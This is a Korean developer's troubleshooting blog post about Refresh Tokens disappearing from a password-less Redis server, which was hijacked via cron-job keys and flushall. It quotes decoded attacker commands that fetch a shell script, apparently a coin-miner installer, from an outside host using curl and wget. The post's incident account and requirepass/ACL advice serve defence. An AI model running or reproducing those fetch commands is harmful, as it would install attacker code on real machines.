[맵필로그 + Redis] 데이터가 사라지는 이슈

아이엠강욱·2023년 8월 11일
0

트러블슈팅

목록 보기
3/4
post-thumbnail

평소에 계속 의문이 들었다. 지금 출시 준비중인 맵필로그 프로젝트에서는 JWT로 인증 절차가 구현되어 있다.
우리는 지금 Refresh Token + Refresh Token Rotation까지 적용을 해놓은 상태이다.

Refresh Token은 EC2 Local의 Redis-server에 저장했다. 아무래도 초기 프로젝트다 보니 다른 인프라는 아직 적용하지 않았다.

지금부터는 어떤 이슈가 있었는지 간단하게 설명해보려고 한다!

1. Redis는 왜 사용 하셨어요?

백엔드 개발자 분들이라면 Redis는 한 번이라도 들어보셨을 것이다. Redis는 key-value 구조의 인메모리 데이터베이스인데 일반적인 DB를 사용하는 것보다 속도 측면에서 이점을 갖게 된다. 인메모리 기반이기 때문이다!

Refresh Token은 만료기간이 있는데 일반 DB에 저장하게 되면 관리하기도 힘들다. 따라서 만료기간(TTL)을 설정해줘서 자동으로 삭제시킬 수 있는 Redis를 선택했던 것 같다. 아무래도 일반 DB에 적용하는 것 보다는 개발 비용과 효율성 모두 잡을 수 있을 것 같아서 선택했다!

2. 어떤 이슈에요?!

테스트 유저들의 Refresh Token을 Redis에 저장했다. 그런데 어느 순간부터 계속 사라지는 것이다.
만료기간은 2주로 세팅을 해놨는데 자고 일어나니까 없고, 2시간 지나니까 없는 것이었다.

난 처음에는 해킹이라고 생각도 못하고 그냥 아 내가 설정을 잘못해놨나보다 하고 진짜 온 코드를 다 확인하고, redis.conf 파일도 싹다 확인했는데 특별한 문제점은 확인하지 못했다.

Medis라는 Redis GUI 툴을 통해서 보통 확인하곤 하는데 사라지고 난 뒤에 backup1,2,3 라는 key 값들이 존재하는 것이다.

value 들을 확인해보니까 cron이 적용되어 있어가지고 redis 측에서 자동으로 backup을 해주는구나 싶었다. 하지만 Redis에서 DB를 백업하는 방식은 내가 알기로는 RDB 또는 AOF 방식이다.

뭔가 이상했다..... 그리고 확인을 해보니까 요상한 log들이 찍혀있었다.

일단 가장먼저 확인해볼 수 있는 키워드는 flushall 이다. 이것만 봐도 이거때문에 데이터가 계속 사라지는 현상이 발생했구나 라고 짐작할 수 있다.

그리고 각 backup 파일들을 보니까 대충 base64 기반으로 encode 해놓은 것 같은데 다른 개발자분의 블로그를 확인해보니까 이런 의미라고 한다. (뭔가 이상한 파일들 깔릴까봐 그냥 무서워서 직접 안했다....ㅋㅋㅋ)

curl <http://kiss.a-dog.top/b2f628/b.sh>
wget -q -O- <http://kiss.a-dog.top/b2f628/b.sh>
cd1 <http://kiss.a-dog.top/b2f628/b.sh>

확인해보니 코인 마이닝 서버로 활용을 하려는 의도가 있었다고 한다.

3. 헐 그러면 어떻게 해결하셨어요?

아주 간단합니다.
비 밀 번 호 를 꼭 설 정 하 자

redis.conf 파일의 requirepass에 설정하신 비밀번호를 넣으시공 코드 레벨에서 env 파일이나 뭐 secret으로 사용하시는 파일에 비밀번호 저장하시면 됩니다! 이것만 하셔도 안전하긴 합니다만!

Redis에서는 ACL (Access Control List) 시스템을 제공하니까 그것도 사용해보시면 좋을 것 같습니다!

우리 모두 비밀번호를 꼭꼭! 설정하는 습관을 가집시다. 너무 안일했습니다 제가...
비밀번호만 설정했어도 내 하루... 아꼈을텐디


profile
블로그 이전했습니다!! https://dev-iamkanguk.tistory.com/ <<- 여기로 오세용!!

0개의 댓글